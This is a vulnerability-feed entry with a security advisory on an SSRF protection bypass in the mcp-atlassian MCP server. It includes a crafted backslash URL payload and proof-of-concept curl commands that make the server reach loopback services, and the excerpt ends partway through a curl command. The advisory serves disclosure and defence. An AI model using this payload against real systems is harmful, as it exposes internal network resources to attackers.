Most recent entries from all

fkie_cve-2026-77274

MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.

GHSA-hgcf-4mq8-5266 — MCP Atlassian: SSRF Protection Bypass

Affected: PyPI: mcp-atlassian

## Environment

- Project: `sooperset/mcp-atlassian` - Affected function: `validate_url_for_ssrf()` - Affected path: header-based Jira/Confluence URL authentication flow - Tested endpoint: `POST /mcp` - Tested version: `2.14.5`

## Description

The SSRF protection in `validate_url_for_ssrf()` can be bypassed with a URL containing a backslash before userinfo-like syntax.

Affected code:

```python parsed = urlparse(url) hostname = parsed.hostname ... ip_error = _check_ip_address(hostname) ... dns_error = _check_dns_resolution(hostname) ```

Payload:

```text http://127.0.0.1:6666\@www.baidu.com ```

For this input, `urllib.parse.urlparse()` treats the hostname as:

```text www.baidu.com ```

Therefore, `validate_url_for_ssrf()` validates `www.baidu.com` instead of `127.0.0.1`. However, the downstream request made through the Atlassian client / `requests.Session` reaches the local service:

```text http://127.0.0.1:6666/%5C@www.baidu.com/rest/api/2/myself ```

This allows an attacker-controlled Jira URL to target loopback or internal services.

## Proof of Concept

Start a local HTTP server:

```bash python3 -m http.server 6666 --bind 127.0.0.1 ```

Start `mcp-atlassian` with streamable HTTP transport on port `9000`.

Initialize an MCP session with the malicious Jira URL:

```bash curl -i http://127.0.0.1:9000/mcp \ -H 'Content-Type: application/json' \ -H 'Accept: application/json, text/event-stream' \ -H 'X-Atlassian-Jira-Url: http://127.0.0.1:6666\@www.baidu.com' \…

PYSEC-2026-4096 — MCP Atlassian: SSRF Protection Bypass